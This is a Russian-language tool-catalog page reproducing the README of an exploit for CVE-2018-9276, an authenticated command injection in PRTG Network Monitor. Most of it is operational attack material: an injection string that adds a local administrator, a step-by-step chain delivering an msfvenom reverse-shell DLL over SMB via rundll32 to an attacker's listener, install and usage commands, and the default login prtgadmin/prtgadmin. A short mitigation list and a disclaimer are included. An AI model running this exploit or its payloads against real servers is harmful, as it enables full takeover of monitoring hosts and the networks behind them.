Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2018-9276 — CVE-2018-9276 — PRTG Network Monitor < 18.2.39 Authenticated RCE. For educational purposes and authorized penetration testing only. | Kitploit
Инструменты/GitHubGitHub/bardlaudian/cve-2018-9276
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlLearning & EducationRemote Access ToolPayload Development
GitHubbardlaudian/cve-2018-9276

CVE-2018-9276

CVE-2018-9276 — PRTG Network Monitor < 18.2.39 Authenticated RCE. For educational purposes and authorized penetration testing only.

Репозиторий
2 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2018-9276 — PRTG Network Monitor < 18.2.39 Автентифицированное удалённое выполнение кода (RCE)

Python CVE Platform

⚠️ Отказ от ответственности: Этот инструмент предназначен только для образовательных целей и авторизованного тестирования на проникновение. Используйте его только против систем, которыми вы владеете или на тестирование которых у вас есть явное письменное разрешение. Несанкционированное использование является незаконным.


Содержание

  • Обзор
  • Детали уязвимости
  • Как это работает
  • Требования
  • Установка
  • Использование
  • Примеры
  • Меры защиты
  • Ссылки

Обзор

PRTG Network Monitor — это инструмент мониторинга сети, разработанный Paessler AG. Версии до 18.2.39 уязвимы для автентифицированной инъекции команд через функцию уведомлений, что позволяет атакующему с действительными учетными данными добиться удалённого выполнения кода (RCE) от имени Local System (учётная запись службы по умолчанию для установок PRTG).

Эта уязвимость была обнаружена во время тестирования на проникновение Джошем Берри (Josh Berry) и раскрыта Paessler AG, которая выпустила исправление 20 апреля 2018 года. Уязвимости присвоен номер CVE-2018-9276.


Детали уязвимости


Как это работает

PRTG включает систему уведомлений, которая позволяет администраторам запускать сценарии при определенных событиях. Чтобы предотвратить произвольное выполнение кода, PRTG ограничивает выполнение сценариев только теми, которые находятся в определенном каталоге на сервере. По умолчанию доступны только два демонстрационных сценария:

  • Demo EXE Notification - OutFile.bat
  • Demo EXE Notification - OutFile.ps1

Точка инъекции

Демонстрационный сценарий PowerShell (OutFile.ps1) передает значение из поля Parameter уведомления непосредственно в сценарий без какой-либо санитизации. Это позволяет внедрять произвольные команды PowerShell, добавляя их после точки с запятой:

root@kitploit:~
test.txt;net user attacker P@ssw0rd! /add;net localgroup administrators attacker /add

Когда PRTG выполняет уведомление, внедренная команда запускается с привилегиями Local System.

Примечание: Пакетный сценарий (OutFile.bat) не уязвим — Paessler, по-видимому, санитизирует ввод перед передачей в пакетный файл. Инъекция работает только через сценарий .ps1.

Поток эксплуатации

Эксплойт автоматизирует следующие шаги:

root@kitploit:~
1. Проверка версии сервера → подтверждение, что цель уязвима
2. Аутентификация → получение действительного файла cookie сессии
3. Создание уведомления типа "файл" → инициализация записываемого выходного файла на цели
4. Запуск уведомления "файл" → выполнение через /api/notificationtest.htm
5. Генерация DLL для обратного шелла → msfvenom (windows/shell_reverse_tcp)
6. Размещение DLL → предоставление через SMB с атакующей машины
7. Создание уведомления типа "команда" → инъекция rundll32.exe <UNC_PATH>,0 после выходного файла
8. Запуск уведомления "команда" → выполнение DLL на цели
9. Получение обратного шелла → nc -nvlp <LPORT>

Почему rundll32 + SMB?

PRTG разрешает запускать только сценарии, находящиеся в его установочном каталоге, в качестве уведомлений, поэтому мы не можем просто загрузить и выполнить произвольный бинарный файл. Вместо этого мы:

  1. Используем msfvenom для генерации обратного шелла Windows в виде файла .dll.
  2. Размещаем этот .dll на SMB-ресурсе атакующей машины.
  3. Внедряем команду rundll32.exe \\attacker\share\payload.dll,0 через параметр уведомления PowerShell.

rundll32.exe может загружать и выполнять DLL из UNC-пути, обходя ограничение на то, какие файлы PRTG может напрямую выполнять.


Требования

  • Python 3.8+
  • msfvenom (часть Metasploit Framework)
  • netcat (nc)
  • impacket — необходим только для встроенного SMB-сервера (опционально, см. --no-smb)
root@kitploit:~
pip install impacket

Если у вас уже есть способ размещения DLL (например, impacket-smbserver, exploit/multi/handler от Metasploit или другой SMB-сервер), вы можете полностью пропустить impacket, используя --no-smb и --shell-location.


Установка

root@kitploit:~
git clone https://github.com/BardLaudian/cve_2018_9276.git
cd cve_2018_9276
pip install -r requirements.txt   # только impacket

Использование

root@kitploit:~
usage: cve_2018_9276.py [-h] -i HOST -p PORT --lhost LHOST --lport LPORT
                        [--user USER] [--password PASSWORD] [--https]
                        [--no-smb] [--shell-location SHELL_LOCATION] [-v]

options:
  -i, --host            IP-адрес или имя хоста цели
  -p, --port            Порт цели (например, 80 или 443)
  --lhost               Локальный IP для обратного вызова шелла
  --lport               Локальный порт для обратного вызова шелла
  --user                Имя пользователя PRTG (по умолчанию: prtgadmin)
  --password            Пароль PRTG (по умолчанию: prtgadmin)
  --https               Использовать HTTPS (самоподписанные сертификаты принимаются)
  --no-smb              Пропустить встроенный SMB-сервер (полезная нагрузка уже размещена)
  --shell-location      Переопределить UNC-путь к DLL-полезной нагрузке
  -v, --verbose         Включить подробный/отладочный вывод

Примеры

Базовое использование (HTTP, учётные данные по умолчанию)

root@kitploit:~
python3 cve_2018_9276.py \
  -i 10.10.10.10 \
  -p 80 \
  --lhost 10.10.14.5 \
  --lport 4444

Цель по HTTPS с пользовательскими учётными данными

root@kitploit:~
python3 cve_2018_9276.py \
  -i 10.10.10.10 \
  -p 443 \
  --lhost 10.10.14.5 \
  --lport 4444 \
  --user admin \
  --password Sup3rS3cr3t \
  --https

Пропустить встроенный SMB-сервер (полезная нагрузка размещена внешне)

root@kitploit:~
# Сначала разместите полезную нагрузку самостоятельно:
impacket-smbserver share /tmp -smb2support

# Затем запустите эксплойт, указав ваш ресурс:
python3 cve_2018_9276.py \
  -i 10.10.10.10 \
  -p 80 \
  --lhost 10.10.14.5 \
  --lport 4444 \
  --no-smb \
  --shell-location '\\10.10.14.5\share\payload.dll'

Меры защиты

  • Обновите PRTG до версии 18.2.39 или новее — это единственное полное исправление.
  • Измените учётные данные по умолчанию — уязвимость требует аутентификации; слабые или стандартные учётные данные (prtgadmin / prtgadmin) значительно снижают порог для эксплуатации.
  • Ограничьте сетевой доступ к веб-интерфейсу PRTG (правила брандмауэра, VPN и т.д.).
  • Мониторинг логов PRTG на предмет неожиданных выполнений тестов уведомлений.

Ссылки

  • Original Discovery — CodeWatch (Josh Berry)
  • NVD — CVE-2018-9276
  • Paessler AG Patch History
  • Original PoC by wildkindcc
Скачать инструмент
ПолеЗначение
CVECVE-2018-9276
ЗатронутыеPRTG Network Monitor < 18.2.39
ТипАвтентифицированная инъекция команд
ПривилегииТребуются действительные учётные данные PRTG
ВоздействиеУдалённое выполнение кода от имени Local System
CVSS Score7.2 (Высокий)
ИсправлениеPRTG 18.2.39 (выпущено 20 апреля 2018)